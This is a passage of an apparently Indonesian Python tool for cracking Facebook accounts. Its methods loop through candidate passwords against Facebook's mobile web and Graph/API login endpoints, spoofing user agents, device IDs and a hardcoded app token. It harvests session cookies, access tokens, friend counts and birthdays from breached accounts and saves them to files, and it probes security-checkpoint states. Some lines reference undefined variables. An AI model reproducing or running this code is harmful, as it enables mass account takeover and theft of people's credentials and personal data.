  1108.                     'prefill_source': 'browser_dropdown',
  1109.                     'prefill_type': 'password',
  1110.                     'first_prefill_source': 'browser_dropdown',
  1111.                     'first_prefill_type': 'contact_point',
  1112.                     'had_cp_prefilled': 'true',
  1113.                     'had_password_prefilled': 'true',
  1114.                     'is_smart_lock': 'false',
  1115.                     'bi_xrwh': '0',
  1116.                     'bi_wvdp': '{"hwc":true,"hwcr":false,"has_dnt":true,"has_standalone":false,"wnd_toStr_toStr":"function toString() { [native code] }","hasPerm":true,"permission_query_toString":"function query() { [native code] }","permission_query_toString_toString":"function toString() { [native code] }","has_seWo":true,"has_meDe":true,"has_creds":true,"has_hwi_bt":false,"has_agjsi":false,"iframeProto":"function get contentWindow() { [native code] }","remap":false,"iframeData":{"hwc":true,"hwcr":false,"has_dnt":true,"has_standalone":false,"wnd_toStr_toStr":"function toString() { [native code] }","hasPerm":true,"permission_query_toString":"function query() { [native code] }","permission_query_toString_toString":"function toString() { [native code] }","has_seWo":true,"has_meDe":true,"has_creds":true,"has_hwi_bt":false,"has_agjsi":false}}',
  1117.                     'lsd': lsd,
  1118.                     'jazoest': jazoest,
  1119.                 }
  1120.                 byps.headers.update({
  1121.                     'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()]),
  1122.                     'accept': '*/*',
  1123.                     'accept-language': "en-US,id-ID,id;q=0.9",
  1124.                     'user-agent': ua_generate,
  1125.                     'Host': 'm.prod.facebook.com',
  1126.                     'x-fb-lsd': self.payload['lsd'],
  1127.                     'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
  1128.                     'sec-ch-ua-mobile': '?1',
  1129.                     'sec-fetch-mode': 'cors',
  1130.                     'Connection': 'keep-alive',
  1131.                     'sec-fetch-site': 'same-origin',
  1132.                     'origin': 'https://m.prod.facebook.com',
  1133.                     "sec-ch-ua-platform": "Linux",
  1134.                     'x-asbd-id': '129477',
  1135.                     'referer': 'https://m.prod.facebook.com/login.php?skip_api_login=1&api_key=665739203554918&kid_directed_site=0&app_id=665739203554918&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  1136.                     'sec-fetch-dest': 'empty',
  1137.                     'content-type': 'application/x-www-form-urlencoded',
  1138.                     'upgrade-insecure-requests': '1',
  1139.                     'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
  1140.                     'accept-encoding': 'gzip, deflate, br, zstd',
  1141.                     'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
  1142.                 })
  1143.                 #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  1144.                 break
  1145.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecAsyinc(username, password)
  1146.             except (Exception) as e: pass
  1147.         for passe in password:
  1148.             try:
  1149.                 self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(str(time.time())[:10], passe)})
  1150.                 self.response = byps.post('https://m.prod.facebook.com/login/device-based/login/async/?api_key=665739203554918&auth_token=5ca13e518ab45548c08cecb0929feb1a&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&refsrc=deprecated&app_id=665739203554918&cancel=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&lwv=100&refid=9', data = self.payload, allow_redirects = True)
  1151.                 if 'c_user' in byps.cookies.get_dict().keys():
  1152.                     self.ok+=1
  1153.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  1154.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  1155.                     except (Exception) as e: convert_username = username
  1156.                     if 'ya' in self.opsi:
  1157.                         try:
  1158.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  1159.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  1160.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1161.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1162.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  1163.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1164.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1165.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  1166.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  1167.                             else:
  1168.                                 for apk in active: true.add(f"{apk}")
  1169.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  1170.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  1171.                             else:
  1172.                                 for apk in inactive: true.add(f"{apk}")
  1173.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  1174.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  1175.                             else:
  1176.                                 for apk in deleted: true.add(f"{apk}")
  1177.                             printz(tree)
  1178.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  1179.                         except (Exception) as e:
  1180.                             print(e)
  1181.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1182.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1183.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1184.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1185.                             printz(tree)
  1186.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  1187.                     else:
  1188.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1189.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1190.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1191.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1192.                         printz(tree)
  1193.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  1194.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  1195.                         wr.write(save)
  1196.                         wr.close()
  1197.                     break
  1198.                 elif 'checkpoint' in byps.cookies.get_dict().keys():
  1199.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  1200.                     except (Exception) as e: convert_username = username
  1201.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1202.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  1203.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  1204.                     printz(tree)
  1205.                     self.cp+=1
  1206.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  1207.                         wr.write(f'{convert_username}|{passe}\n')
  1208.                         wr.close()
  1209.                     break  
  1210.                 else: continue
  1211.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  1212.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1213.                 time.sleep(31)
  1214.         self.lp+=1    
  1215.        
  1216.     def ExecGraph(self, username, password):
  1217.         byps = requests.Session()
  1218.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  1219.         ua_generate = Requ().useragent_api()
  1220.         while True:
  1221.             try:
  1222.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  1223.                 else: ua_generate
  1224.                 byps.headers.update({
  1225.                      'content-type':'application/x-www-form-urlencoded',
  1226.                      'x-fb-sim-hni':str(random.randint(20000, 40000)),
  1227.                      'x-fb-connection-type':'unknown',
  1228.                      'Authorization':'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32',
  1229.                      'user-agent': ua_generate,
  1230.                      'x-fb-net-hni':str(random.randint(20000, 40000)),
  1231.                      'x-fb-connection-bandwidth':str(random.randint(10000, 90000)),
  1232.                      'x-fb-connection-quality':'EXCELLENT',
  1233.                      'x-fb-friendly-name':'authenticate',
  1234.                      'accept-encoding':'gzip, deflate',
  1235.                      'x-fb-http-engine':'Liger'
  1236.                  })
  1237.                 self.payload = {
  1238.                     'adid': str(uuid.uuid4()),
  1239.                     'cpl':'true',
  1240.                     'credentials_type':'device_based_login_password',
  1241.                     'source': 'device_based_login',
  1242.                     'error_detail_type':'button_with_disabled',
  1243.                     'source':'login',
  1244.                     'format':'json',
  1245.                     'generate_session_cookies':'1',
  1246.                     'generate_analytics_claim':'1',
  1247.                     'machine_id': ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(24)),
  1248.                     'generate_machine_id':'1',
  1249.                     'locale':'en_US',
  1250.                     'client_country_code':'US',
  1251.                     'device_id': str(uuid.uuid4()),
  1252.                     'method': 'auth.login',
  1253.                     'fb_api_req_friendly_name': 'authenticate',
  1254.                     'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'
  1255.                 }
  1256.                 break
  1257.             except requests.exceptions.ConnectionError: time.sleep(5); self.ExecGraph(username, password)
  1258.             except Exception as e: pass
  1259.         for passe in password:
  1260.             try:
  1261.                 self.payload.update({'email': username,'password': passe})
  1262.                 self.response = byps.post('https://b-graph.facebook.com/auth/login', data=self.payload, allow_redirects=False)
  1263.                 if "session_key" in str(self.response.text) and "access_token" in str(self.response.text):
  1264.                     self.ok+=1
  1265.                     cookie = (f'sb={base64.b64encode(os.urandom(18)).decode().replace("=","").replace("+","_").replace("/","-")};{";".join(i["name"]+"="+i["value"] for i in resp.json()["session_cookies"])}')
  1266.                     access_token = self.payload.json()['access_token']
  1267.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  1268.                     except Exception as e: convert_username = username
  1269.                     if 'ya' in self.opsi:
  1270.                         try:
  1271.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  1272.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  1273.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1274.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1275.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  1276.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1277.                             tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1278.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1279.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  1280.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  1281.                             else:
  1282.                                 for apk in active: true.add(f"{apk}")
  1283.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  1284.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  1285.                             else:
  1286.                                 for apk in inactive: true.add(f"{apk}")
  1287.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  1288.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  1289.                             else:
  1290.                                 for apk in deleted: true.add(f"{apk}")
  1291.                             printz(tree)
  1292.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}|{access_token}\n')
  1293.                         except (Exception) as e:
  1294.                             print(e)
  1295.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1296.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1297.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1298.                             tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1299.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1300.                             printz(tree)
  1301.                             save = (f'{convert_username}|{password}|{cookie}|{access_token}\n')
  1302.                     else:
  1303.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1304.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1305.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1306.                         tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1307.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1308.                         printz(tree)
  1309.                         save = (f'{convert_username}|{passe}|{cookie}|{access_token}\n')
  1310.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  1311.                         wr.write(save)
  1312.                         wr.close()
  1313.                     break
  1314.                 elif "User must verify their account" in self.response.text:
  1315.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  1316.                     except (Exception) as e: convert_username = username
  1317.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1318.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  1319.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  1320.                     printz(tree)
  1321.                     self.cp+=1
  1322.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  1323.                         wr.write(f'{convert_username}|{passe}\n')
  1324.                         wr.close()
  1325.                     break  
  1326.                 else: continue
  1327.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  1328.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1329.                 time.sleep(31)
  1330.         self.lp+=1
  1331.        
  1332.     def ExecApi(self, username, password):
  1333.         byps = requests.Session()
  1334.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  1335.         ua_generate = Requ().useragent_api()
  1336.         while True:
  1337.             try:
  1338.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  1339.                 else: ua_generate
  1340.                 byps.headers.update({
  1341.                      'content-type':'application/x-www-form-urlencoded',
  1342.                      'x-fb-sim-hni':str(random.randint(20000, 40000)),
  1343.                      'x-fb-connection-type':'unknown',
  1344.                      'Authorization':'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32',
  1345.                      'user-agent': ua_generate,
  1346.                      'x-fb-net-hni':str(random.randint(20000, 40000)),
  1347.                      'x-fb-connection-bandwidth':str(random.randint(10000, 90000)),
  1348.                      'x-fb-connection-quality':'EXCELLENT',
  1349.                      'x-fb-friendly-name':'authenticate',
  1350.                      'accept-encoding':'gzip, deflate',
  1351.                      'x-fb-http-engine':'Liger'
  1352.                  })
  1353.                 self.payload = {
  1354.                     'adid': str(uuid.uuid4()),
  1355.                     'cpl':'true',
  1356.                     'credentials_type':'device_based_login_password',
  1357.                     'source': 'device_based_login',
  1358.                     'error_detail_type':'button_with_disabled',
  1359.                     'source':'login',
  1360.                     'format':'json',
  1361.                     'generate_session_cookies':'1',
  1362.                     'generate_analytics_claim':'1',
  1363.                     'machine_id': ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(24)),
  1364.                     'generate_machine_id':'1',
  1365.                     'locale':'en_US',
  1366.                     'client_country_code':'US',
  1367.                     'device_id': str(uuid.uuid4()),
  1368.                     'method': 'auth.login',
  1369.                     'fb_api_req_friendly_name': 'authenticate',
  1370.                     'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'
  1371.                 }
  1372.                 break
  1373.             except requests.exceptions.ConnectionError: time.sleep(5); self.ExecApi(username, password)
  1374.             except Exception as e: pass
  1375.         for passe in password:
  1376.             try:
  1377.                 self.payload.update({'email': username,'password': passe})
  1378.                 self.response = byps.post('https://b-api.facebook.com/method/auth.login', data=self.payload, allow_redirects=False)
  1379.                 if "session_key" in str(self.response.text) and "access_token" in str(self.response.text):
  1380.                     self.ok+=1
  1381.                     cookie = (f'sb={base64.b64encode(os.urandom(18)).decode().replace("=","").replace("+","_").replace("/","-")};{";".join(i["name"]+"="+i["value"] for i in resp.json()["session_cookies"])}')
  1382.                     access_token = self.payload.json()['access_token']
  1383.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  1384.                     except Exception as e: convert_username = username
  1385.                     if 'ya' in self.opsi:
  1386.                         try:
  1387.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  1388.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  1389.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1390.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1391.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  1392.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1393.                             tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1394.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1395.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  1396.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  1397.                             else:
  1398.                                 for apk in active: true.add(f"{apk}")
  1399.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  1400.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  1401.                             else:
  1402.                                 for apk in inactive: true.add(f"{apk}")
  1403.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  1404.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  1405.                             else:
  1406.                                 for apk in deleted: true.add(f"{apk}")
  1407.                             printz(tree)
  1408.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}|{access_token}\n')
  1409.                         except (Exception) as e:
  1410.                             print(e)
  1411.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1412.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1413.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1414.                             tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1415.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1416.                             printz(tree)
  1417.                             save = (f'{convert_username}|{password}|{cookie}|{access_token}\n')
  1418.                     else:
  1419.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1420.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1421.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1422.                         tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1423.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1424.                         printz(tree)
  1425.                         save = (f'{convert_username}|{passe}|{cookie}|{access_token}\n')
  1426.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  1427.                         wr.write(save)
  1428.                         wr.close()
  1429.                     break
  1430.                 elif "User must verify their account" in self.response.text:
  1431.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  1432.                     except (Exception) as e: convert_username = username
  1433.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1434.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  1435.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  1436.                     printz(tree)
  1437.                     self.cp+=1
  1438.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  1439.                         wr.write(f'{convert_username}|{passe}\n')
  1440.                         wr.close()
  1441.                     break  
  1442.                 else: continue
  1443.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  1444.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1445.                 time.sleep(31)
  1446.         self.lp+=1
  1447.        
  1448.     def DetedtorChekpoint(self, username, passwd):      
  1449.         try:
  1450.             byps = requests.Session()
  1451.             soup = bs(byps.get("https://mbasic.facebook.com/login/?next&ref=dbl&fl&login_from_aymh=1&refid=8").text,"html.parser")
  1452.             resp = soup.find("form",{"method":"post"})
  1453.             for x in soup("input"): data.update({x.get("name"):x.get("value")})
  1454.             data.update({"email":username,"pass":passwd})
  1455.             repo = byps.post("https://mbasic.facebook.com"+resp.get("action"),data=data)
  1456.             resp2 = bs(repo.text, "html.parser")
  1457.             if "Temukan Akun Anda" in re.findall("\<title>(.*?)<\/title>",str(repo.text)):pass
  1458.             if "c_user" in byps.cookies.get_dict():
  1459.                 if "Akun Anda Dikunci" in repo.text:
  1460.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1461.                     true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1462.                     tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1463.                     tree.add(Panel("[bold red]OPSS, AKUN TERKENA SESI NEW, KEMUNGKINAN SUSAH TERBUKA!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1464.                     printz(tree)
  1465.                 else:
  1466.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1467.                     true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1468.                     tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1469.                     tree.add(Panel("[bold green]SELAMAT AKUN TAPYES, SILAKAN CEK DI FACEBOOK LITE!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1470.                     printz(tree)
  1471.             elif "checkpoint" in byps.cookies.get_dict():
  1472.                 title = re.findall("\<title>(.*?)<\/title>",str(resp2))
  1473.                 repo2 = resp2.find("form",{"method":"post"})
  1474.                 for x in resp2("input"):
  1475.                     if x.get("name") in ['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']: data2.update({x.get("name"):x.get("value")})
  1476.                     resu = byps.post("https://mbasic.facebook.com"+repo2.get("action"),data=data2)
  1477.                     resu2 =bs(resu.text,"html.parser")
  1478.                     cek=[cek.text for cek in resu2.find_all("option")]
  1479.                     if(len(cek)==0):
  1480.                         if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  1481.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1482.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1483.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1484.                             tree.add(Panel("[bold green]SELAMAT AKUN TIDAK CHEKPOINT, SILAKAN CEK DI FACEBOOK LITE!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1485.                             printz(tree)
  1486.                         elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(resp2)):
  1487.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
